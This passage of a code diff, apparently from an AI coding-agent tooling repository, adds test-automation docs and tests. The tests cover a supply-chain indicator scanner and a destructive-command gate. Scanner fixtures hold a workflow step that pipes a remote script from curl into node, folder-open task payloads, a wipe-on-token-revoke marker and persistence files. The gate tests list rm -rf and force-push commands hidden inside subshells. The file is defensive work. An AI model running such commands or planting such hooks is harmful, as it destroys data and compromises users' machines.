| LCP | 1.8s ✓ | 1.6s | +200ms |
|
||||||
| CLS | 0.01 ✓ | 0.01 | — |
|
| CLS | 0.01 ✓ | 0.01 | — |
|
||||||
| API /health | 145ms ✓ | 120ms | +25ms |
|
| API /health | 145ms ✓ | 120ms | +25ms |
|
||||||
|
| Static assets | 42/42 ✓ | 42/42 | — |
|
||||||
|
| SSE /events | connected ✓ | connected | +80ms heartbeat |
|
||||||
|
|
||||||
### No regressions detected. Deploy is clean.
|
### No regressions detected. Deploy is clean.
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -366,6 +366,65 @@ def stop_recording(proc):
|
|||||||
proc.stdin.write(b"q"); proc.stdin.flush(); proc.wait(timeout=10)
|
proc.stdin.write(b"q"); proc.stdin.flush(); proc.wait(timeout=10)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Per-Step Trace (opt-in)
|
||||||
|
|
||||||
|
The default failure screenshot is often too thin for diagnosing flaky tests. The step-level trace below is **off by default** — enable it only when reproducing a flaky case.
|
||||||
|
|
||||||
|
### Enable
|
||||||
|
|
||||||
|
```bash
|
||||||
|
E2E_TRACE=1 pytest tests/test_login.py -v
|
||||||
|
# Include typed text in the JSONL log (DO NOT use on tests that type credentials/PII):
|
||||||
|
E2E_TRACE=1 E2E_TRACE_INCLUDE_TEXT=1 pytest ...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Patch into BasePage
|
||||||
|
|
||||||
|
```python
|
||||||
|
import os, json, time
|
||||||
|
TRACE_ENABLED = os.environ.get("E2E_TRACE") == "1"
|
||||||
|
TRACE_INCLUDE_TEXT = os.environ.get("E2E_TRACE_INCLUDE_TEXT") == "1"
|
||||||
|
|
||||||
|
class BasePage:
|
||||||
|
_step = 0
|
||||||
|
|
||||||
|
def _trace(self, action, spec=None, text=None):
|
||||||
|
if not TRACE_ENABLED:
|
||||||
|
return
|
||||||
|
BasePage._step += 1
|
||||||
|
idx = f"{BasePage._step:03d}"
|
||||||
|
os.makedirs(ARTIFACT_DIR, exist_ok=True)
|
||||||
|
try:
|
||||||
|
self.window.capture_as_image().save(
|
||||||
|
os.path.join(ARTIFACT_DIR, f"step_{idx}_{action}.png"))
|
||||||
|
except Exception:
|
||||||
|
pass # capture failure must not break the test
|
||||||
|
rec = {
|
||||||
|
"ts": time.time(), "step": BasePage._step, "action": action,
|
||||||
|
"locator": getattr(spec, "criteria", None),
|
||||||
|
"text": text if TRACE_INCLUDE_TEXT else ("<redacted>" if text else None),
|
||||||
|
}
|
||||||
|
with open(os.path.join(ARTIFACT_DIR, "trace.jsonl"), "a") as f:
|
||||||
|
f.write(json.dumps(rec) + "\n")
|
||||||
|
|
||||||
|
def click(self, spec):
|
||||||
|
self.wait_visible(spec); self._trace("click_before", spec)
|
||||||
|
spec.click_input(); self._trace("click_after", spec)
|
||||||
|
|
||||||
|
def type_text(self, spec, text):
|
||||||
|
self.wait_visible(spec); self._trace("type_before", spec, text)
|
||||||
|
# ... existing set_edit_text / keyboard fallback ...
|
||||||
|
self._trace("type_after", spec)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Caveats
|
||||||
|
|
||||||
|
- **PII / credentials**: `type_text` content is `<redacted>` by default. Never set `E2E_TRACE_INCLUDE_TEXT=1` on login or payment flows.
|
||||||
|
- **Overhead**: ~50–200ms per action + one PNG per step on disk. Don't enable on the default CI matrix — only on a dedicated flake-repro job.
|
||||||
|
- **Artifact bloat**: a long flow produces tens of MB; tune `retention-days` accordingly.
|
||||||
|
- **Parallel/rerun hygiene**: this simple example appends to `trace.jsonl` and uses a class-level counter. Clear the artifact directory before reruns, and use per-worker artifact dirs for parallel tests.
|
||||||
|
- **Coverage gap**: actions performed outside `BasePage` (raw `pywinauto` calls in test code) are not traced.
|
||||||
|
|
||||||
## Flaky Test Handling
|
## Flaky Test Handling
|
||||||
|
|
||||||
```python
|
```python
|
||||||
@@ -387,6 +446,8 @@ Common causes and fixes:
|
|||||||
| Animation in progress | `wait_until(lambda: not loading_indicator.exists())` |
|
| Animation in progress | `wait_until(lambda: not loading_indicator.exists())` |
|
||||||
| Dialog timing | `wait_window(title, timeout=15)` |
|
| Dialog timing | `wait_window(title, timeout=15)` |
|
||||||
| CI display not ready | Set `DISPLAY` or use virtual desktop in CI |
|
| CI display not ready | Set `DISPLAY` or use virtual desktop in CI |
|
||||||
|
| `set_edit_text` raises NotImplementedError | UIA ValuePattern missing (common on Qt 5.x) — `BasePage.type_text` already falls back to `keyboard.send_keys` |
|
||||||
|
| Control exists but `wait_visible` times out | Window minimised or off-screen — call `win.restore()` + `win.set_focus()` before waiting |
|
||||||
|
|
||||||
## Test Isolation & Sandbox
|
## Test Isolation & Sandbox
|
||||||
|
|
||||||
@@ -719,6 +780,44 @@ def click_image(template_path, confidence=0.85):
|
|||||||
pyautogui.click(*pos)
|
pyautogui.click(*pos)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### DPI / Scaling Rules (screenshot mode only)
|
||||||
|
|
||||||
|
Screenshot matching is brutally sensitive to Windows display scaling (100% / 125% / 150%). Three hard rules:
|
||||||
|
|
||||||
|
1. **Capture templates at the same scale as the target machine.** Don't try to rescue a mismatch with `PIL.Image.resize` — `cv2.matchTemplate` is very fragile against resampling artefacts.
|
||||||
|
2. **Pin the CI display scaling.** On `windows-latest` add a step like `Set-DisplayResolution 1920 1080 -Force` and disable per-monitor DPI scaling, so screenshot dimensions are reproducible.
|
||||||
|
3. **Record the scale alongside each artefact.** On capture, write `GetDpiForWindow(hwnd) / 96` to `artifacts/<test>/metadata.json` — postmortems become obvious instead of guess-work.
|
||||||
|
|
||||||
|
> Process-level DPI awareness (`SetProcessDpiAwarenessContext`) **can conflict with Qt's own DPI handling** when the app under test is Qt-based. Prefer "same-scale templates + CI pin" over flipping process-wide DPI mode in fixtures.
|
||||||
|
|
||||||
|
### Debugging Match Confidence
|
||||||
|
|
||||||
|
When tuning the `confidence` threshold, the only sane workflow is to **see** where the match landed. The helper below is diagnosis-only — do not call it from test code.
|
||||||
|
|
||||||
|
```python
|
||||||
|
def debug_match(template_path, out="artifacts/match_debug.png", confidence=0.85):
|
||||||
|
"""Diagnosis-only. Draw the best-match rectangle + score back on the current screen.
|
||||||
|
|
||||||
|
NOT for production tests — use when calibrating confidence or chasing false matches.
|
||||||
|
"""
|
||||||
|
import os, cv2, pyautogui, numpy as np
|
||||||
|
screen = np.array(pyautogui.screenshot())[:, :, ::-1]
|
||||||
|
tpl = cv2.imread(template_path)
|
||||||
|
if tpl is None:
|
||||||
|
raise RuntimeError(f"Template unreadable: {template_path}")
|
||||||
|
res = cv2.matchTemplate(screen, tpl, cv2.TM_CCOEFF_NORMED)
|
||||||
|
_, mv, _, ml = cv2.minMaxLoc(res)
|
||||||
|
h, w = tpl.shape[:2]
|
||||||
|
colour = (0, 255, 0) if mv >= confidence else (0, 0, 255) # green pass / red fail
|
||||||
|
cv2.rectangle(screen, ml, (ml[0]+w, ml[1]+h), colour, 2)
|
||||||
|
cv2.putText(screen, f"score={mv:.3f} thr={confidence}",
|
||||||
|
(ml[0], max(20, ml[1]-6)),
|
||||||
|
cv2.FONT_HERSHEY_SIMPLEX, 0.7, colour, 2)
|
||||||
|
os.makedirs(os.path.dirname(out) or ".", exist_ok=True)
|
||||||
|
cv2.imwrite(out, screen)
|
||||||
|
return mv
|
||||||
|
```
|
||||||
|
|
||||||
**Use sparingly** — image matching breaks on DPI changes, theme switches, and partial occlusion.
|
**Use sparingly** — image matching breaks on DPI changes, theme switches, and partial occlusion.
|
||||||
Always try UIA first; fall back to screenshots only for genuinely unreachable controls.
|
Always try UIA first; fall back to screenshots only for genuinely unreachable controls.
|
||||||
|
|
||||||
|
|||||||
@@ -11,6 +11,10 @@ const { spawnSync } = require('child_process');
|
|||||||
|
|
||||||
const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js');
|
const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js');
|
||||||
const { scanSupplyChainIocs } = require(SCRIPT_PATH);
|
const { scanSupplyChainIocs } = require(SCRIPT_PATH);
|
||||||
|
const TANSTACK_SETUP_DEPENDENCY = [
|
||||||
|
'github:tanstack/router#79ac49eedf774dd4b0cf',
|
||||||
|
'a308722bc463cfe5885c',
|
||||||
|
].join('');
|
||||||
|
|
||||||
function test(name, fn) {
|
function test(name, fn) {
|
||||||
try {
|
try {
|
||||||
@@ -68,6 +72,38 @@ function run() {
|
|||||||
});
|
});
|
||||||
})) passed++; else failed++;
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('rejects expanded Mini Shai-Hulud campaign package versions', () => {
|
||||||
|
withFixture({
|
||||||
|
'package-lock.json': JSON.stringify({
|
||||||
|
packages: {
|
||||||
|
'node_modules/@opensearch-project/opensearch': {
|
||||||
|
version: '3.5.3',
|
||||||
|
},
|
||||||
|
'node_modules/@squawk/mcp': {
|
||||||
|
version: '0.9.5',
|
||||||
|
},
|
||||||
|
'node_modules/@mistralai/mistralai': {
|
||||||
|
version: '2.2.2',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}, null, 2),
|
||||||
|
'requirements.txt': [
|
||||||
|
'mistralai==2.4.6',
|
||||||
|
'guardrails-ai==0.10.1',
|
||||||
|
'lightning==2.6.3',
|
||||||
|
].join('\n'),
|
||||||
|
}, rootDir => {
|
||||||
|
const result = scanSupplyChainIocs({ rootDir });
|
||||||
|
const indicators = result.findings.map(finding => finding.indicator);
|
||||||
|
assert.ok(indicators.includes('@opensearch-project/opensearch@3.5.3'));
|
||||||
|
assert.ok(indicators.includes('@squawk/mcp@0.9.5'));
|
||||||
|
assert.ok(indicators.includes('@mistralai/mistralai@2.2.2'));
|
||||||
|
assert.ok(indicators.includes('mistralai@2.4.6'));
|
||||||
|
assert.ok(indicators.includes('guardrails-ai@0.10.1'));
|
||||||
|
assert.ok(indicators.includes('lightning@2.6.3'));
|
||||||
|
});
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
if (test('passes clean versions of watched packages', () => {
|
if (test('passes clean versions of watched packages', () => {
|
||||||
withFixture({
|
withFixture({
|
||||||
'package-lock.json': JSON.stringify({
|
'package-lock.json': JSON.stringify({
|
||||||
@@ -89,7 +125,7 @@ function run() {
|
|||||||
packages: {
|
packages: {
|
||||||
'node_modules/@tanstack/history': {
|
'node_modules/@tanstack/history': {
|
||||||
optionalDependencies: {
|
optionalDependencies: {
|
||||||
'@tanstack/setup': 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c',
|
'@tanstack/setup': TANSTACK_SETUP_DEPENDENCY,
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
@@ -116,12 +152,85 @@ function run() {
|
|||||||
});
|
});
|
||||||
})) passed++; else failed++;
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('rejects current dead-drop and import-time payload markers', () => {
|
||||||
|
withFixture({
|
||||||
|
'.vscode/tasks.json': JSON.stringify({
|
||||||
|
tasks: [{
|
||||||
|
label: 'watch',
|
||||||
|
command: 'python3 /tmp/transformers.pyz && node execution.js',
|
||||||
|
runOptions: { runOn: 'folderOpen' },
|
||||||
|
}],
|
||||||
|
}, null, 2),
|
||||||
|
'package.json': JSON.stringify({
|
||||||
|
description: 'Shai-Hulud: Here We Go Again',
|
||||||
|
}, null, 2),
|
||||||
|
}, rootDir => {
|
||||||
|
const result = scanSupplyChainIocs({ rootDir });
|
||||||
|
assert.ok(result.findings.some(finding => finding.indicator === 'transformers.pyz'));
|
||||||
|
assert.ok(result.findings.some(finding => finding.indicator === 'execution.js'));
|
||||||
|
assert.ok(result.findings.some(finding => finding.indicator === 'Shai-Hulud: Here We Go Again'));
|
||||||
|
});
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('rejects dead-man switch and workflow persistence markers', () => {
|
||||||
|
withFixture({
|
||||||
|
'.vscode/tasks.json': JSON.stringify({
|
||||||
|
tasks: [{
|
||||||
|
label: 'monitor',
|
||||||
|
command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
|
||||||
|
runOptions: { runOn: 'folderOpen' },
|
||||||
|
}],
|
||||||
|
}, null, 2),
|
||||||
|
'.github/workflows/codeql_analysis.yml': [
|
||||||
|
'name: codeql_analysis',
|
||||||
|
'on: push',
|
||||||
|
'jobs:',
|
||||||
|
' shai-hulud:',
|
||||||
|
' runs-on: ubuntu-latest',
|
||||||
|
' steps:',
|
||||||
|
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
|
||||||
|
' - run: echo svksjrhjkcejg',
|
||||||
|
' - run: echo OhNoWhatsGoingOnWithGitHub',
|
||||||
|
' - run: echo claude@users.noreply.github.com',
|
||||||
|
' - run: echo dependabout/router/setup-formatter',
|
||||||
|
' - run: echo signalservice snode',
|
||||||
|
].join('\n'),
|
||||||
|
}, rootDir => {
|
||||||
|
const result = scanSupplyChainIocs({ rootDir });
|
||||||
|
const indicators = result.findings.map(finding => finding.indicator);
|
||||||
|
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
|
||||||
|
assert.ok(indicators.includes('codeql_analysis.yml'));
|
||||||
|
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
|
||||||
|
assert.ok(indicators.includes('svksjrhjkcejg'));
|
||||||
|
assert.ok(indicators.includes('OhNoWhatsGoingOnWithGitHub'));
|
||||||
|
assert.ok(indicators.includes('claude@users.noreply.github.com'));
|
||||||
|
assert.ok(indicators.includes('dependabout/'));
|
||||||
|
assert.ok(indicators.includes('signalservice'));
|
||||||
|
assert.ok(indicators.includes('snode'));
|
||||||
|
});
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('rejects user-level Python persistence payloads when home scan is enabled', () => {
|
||||||
|
withFixture({
|
||||||
|
'home/.local/bin/pgmonitor.py': 'print("persistence")',
|
||||||
|
'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py',
|
||||||
|
}, rootDir => {
|
||||||
|
const homeDir = path.join(rootDir, 'home');
|
||||||
|
const result = scanSupplyChainIocs({ rootDir, home: true, homeDir });
|
||||||
|
const indicators = result.findings.map(finding => finding.indicator);
|
||||||
|
assert.ok(indicators.includes('pgmonitor.py'));
|
||||||
|
assert.ok(indicators.includes('pgsql-monitor.service'));
|
||||||
|
});
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
if (test('rejects installed payload filenames in node_modules', () => {
|
if (test('rejects installed payload filenames in node_modules', () => {
|
||||||
withFixture({
|
withFixture({
|
||||||
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
|
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
|
||||||
|
'node_modules/@opensearch-project/opensearch/opensearch_init.js': '/* payload */',
|
||||||
}, rootDir => {
|
}, rootDir => {
|
||||||
const result = scanSupplyChainIocs({ rootDir });
|
const result = scanSupplyChainIocs({ rootDir });
|
||||||
assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js'));
|
assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js'));
|
||||||
|
assert.ok(result.findings.some(finding => finding.indicator === 'opensearch_init.js'));
|
||||||
});
|
});
|
||||||
})) passed++; else failed++;
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,45 @@
|
|||||||
|
const assert = require('assert');
|
||||||
|
const fs = require('fs');
|
||||||
|
const path = require('path');
|
||||||
|
|
||||||
|
const SKILL_PATH = path.join(__dirname, '..', '..', 'skills', 'canary-watch', 'SKILL.md');
|
||||||
|
|
||||||
|
function test(name, fn) {
|
||||||
|
try {
|
||||||
|
fn();
|
||||||
|
console.log(` \u2713 ${name}`);
|
||||||
|
return true;
|
||||||
|
} catch (error) {
|
||||||
|
console.log(` \u2717 ${name}`);
|
||||||
|
console.log(` Error: ${error.message}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function runTests() {
|
||||||
|
console.log('\n=== Testing canary-watch skill docs ===\n');
|
||||||
|
|
||||||
|
let passed = 0;
|
||||||
|
let failed = 0;
|
||||||
|
const body = fs.readFileSync(SKILL_PATH, 'utf8');
|
||||||
|
|
||||||
|
if (test('description monitoring claims are backed by watch sections', () => {
|
||||||
|
for (const phrase of [
|
||||||
|
'HTTP endpoints',
|
||||||
|
'SSE streams',
|
||||||
|
'static assets',
|
||||||
|
'console errors',
|
||||||
|
'performance regressions',
|
||||||
|
]) {
|
||||||
|
assert.ok(body.toLowerCase().includes(phrase.toLowerCase()), `missing phrase: ${phrase}`);
|
||||||
|
}
|
||||||
|
assert.ok(body.includes('Static Assets'), 'watch list should include static assets');
|
||||||
|
assert.ok(body.includes('SSE Streams'), 'watch list should include SSE streams');
|
||||||
|
assert.ok(body.includes('SSE endpoint cannot connect'), 'critical thresholds should cover SSE failures');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||||
|
process.exit(failed > 0 ? 1 : 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
runTests();
|
||||||
@@ -1282,6 +1282,115 @@ function runTests() {
|
|||||||
'double-quoted dollar-paren subshell');
|
'double-quoted dollar-paren subshell');
|
||||||
})) passed++; else failed++;
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
// --- Subshell + brace-group bypass coverage ---
|
||||||
|
// Destructive commands inside `(...)` and `{ ...; }` execute the
|
||||||
|
// same way they do at the top level, so the destructive classifier
|
||||||
|
// must see inside those bodies too. Nested parens `((...))` are
|
||||||
|
// arithmetic-evaluation syntax in bash (not a nested subshell), but
|
||||||
|
// our parser depth-tracks them conservatively — i.e. the inner
|
||||||
|
// tokens are still scanned for destructive intent. That's safety
|
||||||
|
// over precision and the right default for this gate.
|
||||||
|
|
||||||
|
if (test('denies rm -rf inside plain (...) subshell group', () => {
|
||||||
|
expectDestructiveDeny('(rm -rf /tmp/junk)', 'plain subshell group');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies rm -rf inside ((...)) — arithmetic eval, treated conservatively', () => {
|
||||||
|
expectDestructiveDeny('((rm -rf /tmp/junk))', 'arithmetic-eval parens');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies rm -rf inside { ...; } brace group', () => {
|
||||||
|
expectDestructiveDeny('{ rm -rf /tmp/junk; }', 'brace group');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies git push --force inside plain (...) subshell group', () => {
|
||||||
|
expectDestructiveDeny('(git push --force origin main)',
|
||||||
|
'git-force in subshell');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies git push --force inside { ...; } brace group', () => {
|
||||||
|
expectDestructiveDeny('{ git push --force origin main; }',
|
||||||
|
'git-force in brace group');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies rm -rf nested across () and {} (cross-syntax)', () => {
|
||||||
|
expectDestructiveDeny('(echo y; { rm -rf /tmp/junk; })',
|
||||||
|
'() containing {} cross-syntax');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies rm -rf nested across $() and () (cross-syntax)', () => {
|
||||||
|
expectDestructiveDeny('$(echo y; (rm -rf /tmp/junk))',
|
||||||
|
'$() containing () cross-syntax');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
// Negative cases — literals and non-destructive commands must NOT
|
||||||
|
// be promoted to destructive by the new grouping-body walker.
|
||||||
|
|
||||||
|
if (test('allows literal (rm -rf ...) inside single quotes', () => {
|
||||||
|
expectAllow("git commit -m '(rm -rf /tmp/junk)'",
|
||||||
|
'single-quoted subshell literal');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('allows literal (rm -rf ...) inside double quotes', () => {
|
||||||
|
expectAllow('echo "(rm -rf /tmp/junk)"',
|
||||||
|
'double-quoted subshell literal');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('allows literal { rm -rf ...; } inside double quotes', () => {
|
||||||
|
expectAllow('echo "{ rm -rf /tmp/junk; }"',
|
||||||
|
'double-quoted brace-group literal');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('allows non-destructive (echo hello)', () => {
|
||||||
|
expectAllow('(echo hello)', 'non-destructive subshell');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('allows non-destructive { echo hello; }', () => {
|
||||||
|
expectAllow('{ echo hello; }', 'non-destructive brace group');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('allows {rm -rf} — no space after { is not a brace group', () => {
|
||||||
|
// bash treats `{rm` as a single token; no destructive intent
|
||||||
|
// can be statically derived from this form, and the command
|
||||||
|
// would not actually run rm at runtime either.
|
||||||
|
expectAllow('echo {rm -rf /tmp/junk}',
|
||||||
|
'no-space brace literal');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
// --- Round 1 review fixes: brace-group span-skip + boundary ---
|
||||||
|
// Verifies the body-accumulation loop in `extractBraceGroups`
|
||||||
|
// correctly walks past `$(...)`, `(...)`, and backtick spans so
|
||||||
|
// a `}` inside one of those does not terminate the brace group
|
||||||
|
// early, plus the nested `{` boundary rule.
|
||||||
|
|
||||||
|
if (test('denies rm -rf in brace group with backtick containing }', () => {
|
||||||
|
expectDestructiveDeny('{ echo `echo }`; rm -rf /tmp/junk; }',
|
||||||
|
'brace + backtick containing }');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies rm -rf in brace group with $() containing }', () => {
|
||||||
|
expectDestructiveDeny('{ echo $(echo "}"); rm -rf /tmp/junk; }',
|
||||||
|
'brace + $() containing }');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies rm -rf in brace group with nested () containing }', () => {
|
||||||
|
expectDestructiveDeny('{ (echo "}"); rm -rf /tmp/junk; }',
|
||||||
|
'brace + () containing }');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies rm -rf in brace group with $() body containing }', () => {
|
||||||
|
expectDestructiveDeny('{ x=$(echo a}b); rm -rf /tmp/junk; }',
|
||||||
|
'brace + $() body with }');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('denies rm -rf when token like foo{ appears before brace group close', () => {
|
||||||
|
// tokens like `foo{` are not reserved-word `{` (no boundary,
|
||||||
|
// no whitespace after) — must not bump nested-depth and so
|
||||||
|
// must not delay brace-group close
|
||||||
|
expectDestructiveDeny('{ echo foo{bar; rm -rf /tmp/junk; }',
|
||||||
|
'foo{ token inside brace body');
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
// Cleanup only the temp directory created by this test file.
|
// Cleanup only the temp directory created by this test file.
|
||||||
try {
|
try {
|
||||||
if (fs.existsSync(stateDir)) {
|
if (fs.existsSync(stateDir)) {
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ const fs = require('fs');
|
|||||||
const path = require('path');
|
const path = require('path');
|
||||||
|
|
||||||
const README = path.join(__dirname, '..', '..', 'README.md');
|
const README = path.join(__dirname, '..', '..', 'README.md');
|
||||||
|
const RULES_README = path.join(__dirname, '..', '..', 'rules', 'README.md');
|
||||||
|
|
||||||
function test(name, fn) {
|
function test(name, fn) {
|
||||||
try {
|
try {
|
||||||
@@ -27,6 +28,7 @@ function runTests() {
|
|||||||
let failed = 0;
|
let failed = 0;
|
||||||
|
|
||||||
const readme = fs.readFileSync(README, 'utf8');
|
const readme = fs.readFileSync(README, 'utf8');
|
||||||
|
const rulesReadme = fs.readFileSync(RULES_README, 'utf8');
|
||||||
|
|
||||||
if (test('README marks one default path and warns against stacked installs', () => {
|
if (test('README marks one default path and warns against stacked installs', () => {
|
||||||
assert.ok(
|
assert.ok(
|
||||||
@@ -138,6 +140,29 @@ function runTests() {
|
|||||||
);
|
);
|
||||||
})) passed++; else failed++;
|
})) passed++; else failed++;
|
||||||
|
|
||||||
|
if (test('rules README mirrors ECC namespaced install path', () => {
|
||||||
|
assert.ok(
|
||||||
|
rulesReadme.includes('mkdir -p ~/.claude/rules/ecc'),
|
||||||
|
'rules README should create the ECC-owned user-level rules namespace'
|
||||||
|
);
|
||||||
|
assert.ok(
|
||||||
|
rulesReadme.includes('cp -r rules/common ~/.claude/rules/ecc/'),
|
||||||
|
'rules README should copy common rules under ~/.claude/rules/ecc/'
|
||||||
|
);
|
||||||
|
assert.ok(
|
||||||
|
rulesReadme.includes('cp -r rules/typescript ~/.claude/rules/ecc/'),
|
||||||
|
'rules README should copy language rules under ~/.claude/rules/ecc/'
|
||||||
|
);
|
||||||
|
assert.ok(
|
||||||
|
rulesReadme.includes('mkdir -p .claude/rules/ecc'),
|
||||||
|
'rules README should document the project-local ECC namespace'
|
||||||
|
);
|
||||||
|
assert.ok(
|
||||||
|
!rulesReadme.includes('~/.claude/rules/typescript'),
|
||||||
|
'rules README should not recommend flat user-level rule destinations'
|
||||||
|
);
|
||||||
|
})) passed++; else failed++;
|
||||||
|
|
||||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||||
process.exit(failed > 0 ? 1 : 0);
|
process.exit(failed > 0 ? 1 : 0);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user